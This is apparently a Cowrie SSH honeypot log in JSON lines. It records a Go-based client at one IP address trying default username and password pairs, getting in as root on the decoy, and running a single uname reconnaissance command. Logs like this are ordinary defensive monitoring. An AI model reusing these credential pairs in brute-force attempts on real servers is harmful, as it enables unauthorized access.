{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:44.547065Z","src_ip":"101.44.96.62","session":"2b10a6625c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60726,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ebf62c59c8a","protocol":"ssh","message":"New connection: 101.44.96.62:60726 (159.203.135.109:22) [session: 1ebf62c59c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:55.930253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:55.935071Z","src_ip":"101.44.96.62","session":"1ebf62c59c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:56.152638Z","src_ip":"101.44.96.62","session":"1ebf62c59c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam","password":"steam","message":"login attempt [steam/steam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:56.804254Z","src_ip":"101.44.96.62","session":"1ebf62c59c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:46:58.024742Z","src_ip":"101.44.96.62","session":"1ebf62c59c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59530,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4eccf0dec4","protocol":"ssh","message":"New connection: 101.44.96.62:59530 (159.203.135.109:22) [session: 3e4eccf0dec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:09.327998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:09.331929Z","src_ip":"101.44.96.62","session":"3e4eccf0dec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:09.545747Z","src_ip":"101.44.96.62","session":"3e4eccf0dec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:10.187747Z","src_ip":"101.44.96.62","session":"3e4eccf0dec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:11.403742Z","src_ip":"101.44.96.62","session":"3e4eccf0dec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54284,"dst_ip":"159.203.135.109","dst_port":22,"session":"f67955f6c69a","protocol":"ssh","message":"New connection: 101.44.96.62:54284 (159.203.135.109:22) [session: f67955f6c69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:22.861417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:22.866208Z","src_ip":"101.44.96.62","session":"f67955f6c69a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:23.080137Z","src_ip":"101.44.96.62","session":"f67955f6c69a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:23.723406Z","src_ip":"101.44.96.62","session":"f67955f6c69a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:24.939277Z","src_ip":"101.44.96.62","session":"f67955f6c69a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39548,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9e67b0c89fd","protocol":"ssh","message":"New connection: 101.44.96.62:39548 (159.203.135.109:22) [session: b9e67b0c89fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:36.309649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:36.314349Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:36.533019Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:37.184215Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:37.650006Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:37.652901Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:37.872548Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:37.876625Z","src_ip":"101.44.96.62","session":"b9e67b0c89fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":49254,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d927e66c030","protocol":"ssh","message":"New connection: 91.92.240.199:49254 (159.203.135.109:22) [session: 8d927e66c030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:48.224065Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:48.344868Z","src_ip":"91.92.240.199","session":"8d927e66c030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b4d43bb6472","protocol":"ssh","message":"New connection: 101.44.96.62:58632 (159.203.135.109:22) [session: 0b4d43bb6472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:49.753986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:49.758315Z","src_ip":"101.44.96.62","session":"0b4d43bb6472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:49.975223Z","src_ip":"101.44.96.62","session":"0b4d43bb6472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:50.629041Z","src_ip":"101.44.96.62","session":"0b4d43bb6472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:47:51.851635Z","src_ip":"101.44.96.62","session":"0b4d43bb6472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43988,"dst_ip":"159.203.135.109","dst_port":22,"session":"281b39c67131","protocol":"ssh","message":"New connection: 101.44.96.62:43988 (159.203.135.109:22) [session: 281b39c67131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:03.293371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:03.298428Z","src_ip":"101.44.96.62","session":"281b39c67131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:03.513132Z","src_ip":"101.44.96.62","session":"281b39c67131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:04.157238Z","src_ip":"101.44.96.62","session":"281b39c67131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:05.375010Z","src_ip":"101.44.96.62","session":"281b39c67131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54942,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa261ea6f30e","protocol":"ssh","message":"New connection: 101.44.96.62:54942 (159.203.135.109:22) [session: fa261ea6f30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:16.890405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:16.894693Z","src_ip":"101.44.96.62","session":"fa261ea6f30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:17.111495Z","src_ip":"101.44.96.62","session":"fa261ea6f30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:17.763410Z","src_ip":"101.44.96.62","session":"fa261ea6f30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:18.982100Z","src_ip":"101.44.96.62","session":"fa261ea6f30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36026,"dst_ip":"159.203.135.109","dst_port":22,"session":"db85cef7728a","protocol":"ssh","message":"New connection: 101.44.96.62:36026 (159.203.135.109:22) [session: db85cef7728a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:30.412478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:30.416931Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:48:30.637398Z","src_ip":"101.44.96.62","session":"db85cef7728a","protocol":"ssh"}
